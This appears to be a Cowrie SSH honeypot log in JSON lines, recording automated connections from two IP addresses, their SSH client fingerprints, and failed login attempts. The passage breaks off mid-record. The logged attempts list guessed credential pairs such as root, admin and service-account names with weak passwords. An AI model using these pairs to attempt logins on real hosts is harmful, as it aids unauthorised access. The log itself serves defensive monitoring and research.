{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40444,"dst_ip":"10.17.0.5","dst_port":22,"session":"1234b7cfb737","protocol":"ssh","message":"New connection: 45.153.34.195:40444 (10.17.0.5:22) [session: 1234b7cfb737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:19.614765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:19.636396Z","src_ip":"45.153.34.195","session":"1234b7cfb737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:19.733492Z","src_ip":"45.153.34.195","session":"1234b7cfb737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"celeste","password":"celeste","message":"login attempt [celeste/celeste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:20.047130Z","src_ip":"45.153.34.195","session":"1234b7cfb737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:21.131081Z","src_ip":"45.153.34.195","session":"1234b7cfb737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":21370,"dst_ip":"159.203.135.109","dst_port":22,"session":"d13475094325","protocol":"ssh","message":"New connection: 91.92.40.36:21370 (159.203.135.109:22) [session: d13475094325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:21.211576Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20934,"dst_ip":"10.17.0.5","dst_port":22,"session":"71b53fcb2e83","protocol":"ssh","message":"New connection: 45.153.34.195:20934 (10.17.0.5:22) [session: 71b53fcb2e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:22.638524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:22.642545Z","src_ip":"45.153.34.195","session":"71b53fcb2e83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:22.726816Z","src_ip":"45.153.34.195","session":"71b53fcb2e83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"HaCoi01@azzxxx","message":"login attempt [root/HaCoi01@azzxxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:22.984314Z","src_ip":"45.153.34.195","session":"71b53fcb2e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:24.067378Z","src_ip":"45.153.34.195","session":"71b53fcb2e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.1","message":"Connection lost after 19.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:24.334778Z","src_ip":"91.92.40.36","session":"608e9dc81f85","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:25.063063Z","src_ip":"91.92.40.36","session":"d13475094325","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:25.066708Z","src_ip":"91.92.40.36","session":"d13475094325","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20952,"dst_ip":"10.17.0.5","dst_port":22,"session":"c492cf432324","protocol":"ssh","message":"New connection: 45.153.34.195:20952 (10.17.0.5:22) [session: c492cf432324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:25.620226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:25.627442Z","src_ip":"45.153.34.195","session":"c492cf432324","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:25.709861Z","src_ip":"45.153.34.195","session":"c492cf432324","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123123","message":"login attempt [minecraft/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:26.027781Z","src_ip":"45.153.34.195","session":"c492cf432324","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"changem","password":"changem","message":"login attempt [changem/changem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:26.621094Z","src_ip":"91.92.40.36","session":"eb03a8490e1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:27.208575Z","src_ip":"45.153.34.195","session":"c492cf432324","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20976,"dst_ip":"10.17.0.5","dst_port":22,"session":"4009b710aaf0","protocol":"ssh","message":"New connection: 45.153.34.195:20976 (10.17.0.5:22) [session: 4009b710aaf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:28.405443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:28.425480Z","src_ip":"45.153.34.195","session":"4009b710aaf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:28.535010Z","src_ip":"45.153.34.195","session":"4009b710aaf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo","message":"login attempt [odoo17/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:29.159972Z","src_ip":"45.153.34.195","session":"4009b710aaf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22468,"dst_ip":"159.203.135.109","dst_port":22,"session":"85f6f58bb6b6","protocol":"ssh","message":"New connection: 91.92.40.36:22468 (159.203.135.109:22) [session: 85f6f58bb6b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:29.365254Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:30.243975Z","src_ip":"45.153.34.195","session":"4009b710aaf0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:31.113072Z","src_ip":"91.92.40.36","session":"7a852c12302b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:31.116815Z","src_ip":"91.92.40.36","session":"7a852c12302b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.9","message":"Connection lost after 19.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:31.134717Z","src_ip":"91.92.40.36","session":"eb03a8490e1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20988,"dst_ip":"10.17.0.5","dst_port":22,"session":"6008b9cbbaa7","protocol":"ssh","message":"New connection: 45.153.34.195:20988 (10.17.0.5:22) [session: 6008b9cbbaa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:31.358767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:31.364231Z","src_ip":"45.153.34.195","session":"6008b9cbbaa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:31.452323Z","src_ip":"45.153.34.195","session":"6008b9cbbaa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345678","message":"login attempt [admin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:31.966621Z","src_ip":"45.153.34.195","session":"6008b9cbbaa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappeuser","password":"password","message":"login attempt [frappeuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:32.634441Z","src_ip":"91.92.40.36","session":"f92d555958bd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:32.785277Z","src_ip":"91.92.40.36","session":"85f6f58bb6b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:32.790802Z","src_ip":"91.92.40.36","session":"85f6f58bb6b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:33.054173Z","src_ip":"45.153.34.195","session":"6008b9cbbaa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":15778,"dst_ip":"10.17.0.5","dst_port":22,"session":"afc563dbc1b1","protocol":"ssh","message":"New connection: 45.153.34.195:15778 (10.17.0.5:22) [session: afc563dbc1b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:34.304362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:34.317867Z","src_ip":"45.153.34.195","session":"afc563dbc1b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 